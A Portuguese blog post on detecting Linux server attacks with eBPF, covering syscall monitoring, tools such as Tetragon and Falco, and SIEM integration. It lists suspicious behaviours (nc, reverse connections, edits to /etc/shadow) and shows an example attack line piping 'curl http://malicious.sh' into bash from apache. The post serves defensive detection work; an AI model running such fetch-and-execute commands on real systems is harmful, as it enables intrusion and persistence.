Security Observability: Detecção de Anomalias via eBPF em Servidores Linux

abril 30, 2025 | por dbsnoop

A superfície de ataque em ambientes Linux cresceu. Com a popularização de containers, workloads descentralizados e microsserviços rodando em bare-metal ou nuvem, os métodos tradicionais de monitoramento e segurança ficaram para trás. Logs são lentos. Agentes externos enxergam pouco. E quando a detecção acontece, o impacto já foi causado.

Neste cenário, Security Observability com eBPF surge como uma abordagem de visibilidade profunda — não apenas de sistema, mas de segurança — diretamente no kernel do Linux.


Kernel como Fonte de Verdade: eBPF na Prática

eBPF (Extended Berkeley Packet Filter) é uma tecnologia que permite executar código em modo kernel de forma segura, dinâmica e com impacto mínimo na performance. Isso significa observar chamadas de sistema, execuções, acessos a arquivos e conexões de rede em tempo real, sem reiniciar o sistema ou alterar o código da aplicação.

Esse nível de visibilidade abre uma nova camada de monitoramento voltada à segurança: não para depois do ataque — mas durante o evento, no ponto exato da execução.


Além dos Logs: Por que os métodos clássicos falham

Ferramentas como auditd, syslog ou psacct coletam informações valiosas, mas têm limitações sérias:

  • São reativas — analisam o que já aconteceu.
  • Não capturam contexto completo (qual processo pai iniciou o evento? com que parâmetros?).
  • Têm visibilidade parcial em ambientes com containers ou overlay networks.

Com eBPF, tudo isso muda. A instrumentação acontece diretamente nas syscalls: execve, open, connect, setuid, write, entre outras. Cada comportamento suspeito pode ser interceptado, analisado e correlacionado com identidade, localização e intenção.

ebpf

O Que Você Consegue Ver com eBPF Ativo

Implementando security observability via eBPF, equipes passam a detectar situações como:

  • Execuções atípicas de comandos (curl, nc, python) por serviços web ou processos inesperados.
  • Abertura de portas de rede ou conexões reversas vindas de processos que não deveriam se comunicar externamente.
  • Modificações em arquivos sensíveis, como /etc/passwd, /etc/shadow, ou binários do sistema.
  • Escalonamento de privilégios em execuções com setuid, uso indevido de sudo, ou exploração de SUID bits.
  • Desvios de comportamento do baseline, como nginx iniciando processos de download ou execução de scripts.

Ferramentas Baseadas em eBPF para Segurança em Linux

Algumas ferramentas tornaram essa visibilidade acessível e operacionalizável, inclusive em larga escala:

Tetragon (by Cilium)

  • Instrumentação de processos, rede e escalonamento de privilégios;
  • Compatível com bare-metal e Kubernetes;
  • Exportação de eventos para SIEMs e observabilidade nativa.

Falco

  • Detecção de comportamentos anômalos com regras customizáveis;
  • Leve, de fácil deploy em qualquer distro;
  • Visibilidade profunda mesmo em hosts com múltiplos containers.

Inspektor Gadget

  • Ferramenta de análise e depuração com foco em comportamento de processos;
  • Ideal para ambientes híbridos e times de DevSecOps que precisam validar segurança no ciclo de vida da aplicação.

Integrações com Ecossistemas de Observabilidade

A força dessa abordagem está também na sua capacidade de integração. Eventos capturados via eBPF podem ser exportados para:

  • Grafana + Prometheus: visualização de métricas e alertas de segurança.
  • Loki ou ElasticSearch: armazenamento e análise de logs em tempo real.
  • SIEMs como Splunk, Microsoft Sentinel ou IBM QRadar: integração com sistemas corporativos de resposta a incidentes.
  • OpenTelemetry: correlação com traces, logs e métricas para investigações contextuais.

Isso permite que times de segurança trabalhem com os mesmos dados que times de observabilidade, encurtando tempo de resposta e aumentando a clareza situacional.

ebpf

Exemplo Real: Ataque Interceptado com eBPF

Em um ambiente Linux com aplicação web exposta:

  • O processo apache executa uma chamada curl http://malicious.sh | bash.
  • Um script remoto altera permissões, cria usuários e abre uma porta não autorizada.

Com observabilidade via eBPF:

  • A execução do bash é interceptada no momento da syscall.
  • A chamada à rede e a modificação de permissões são registradas.
  • O evento completo é correlacionado com UID, processo pai (apache), IP remoto e binário executado.

Tudo isso em tempo real, antes que a persistência do ataque se estabeleça.


Conclusão

A combinação de eBPF com práticas modernas de security observability marca uma nova era para a segurança em servidores Linux: mais próxima do sistema, mais rápida na resposta e mais rica em contexto.

Não se trata de substituir soluções tradicionais, mas de preencher a lacuna entre visibilidade e ação, permitindo que equipes detectem e respondam a ameaças no exato ponto em que acontecem — o kernel.

Com servidores Linux ocupando o coração de aplicações críticas, detecção de anomalias baseada em eBPF torna-se uma das modelagens de segurança mais acessíveis da atualidade e que impacta sua operação de maneira significativa.

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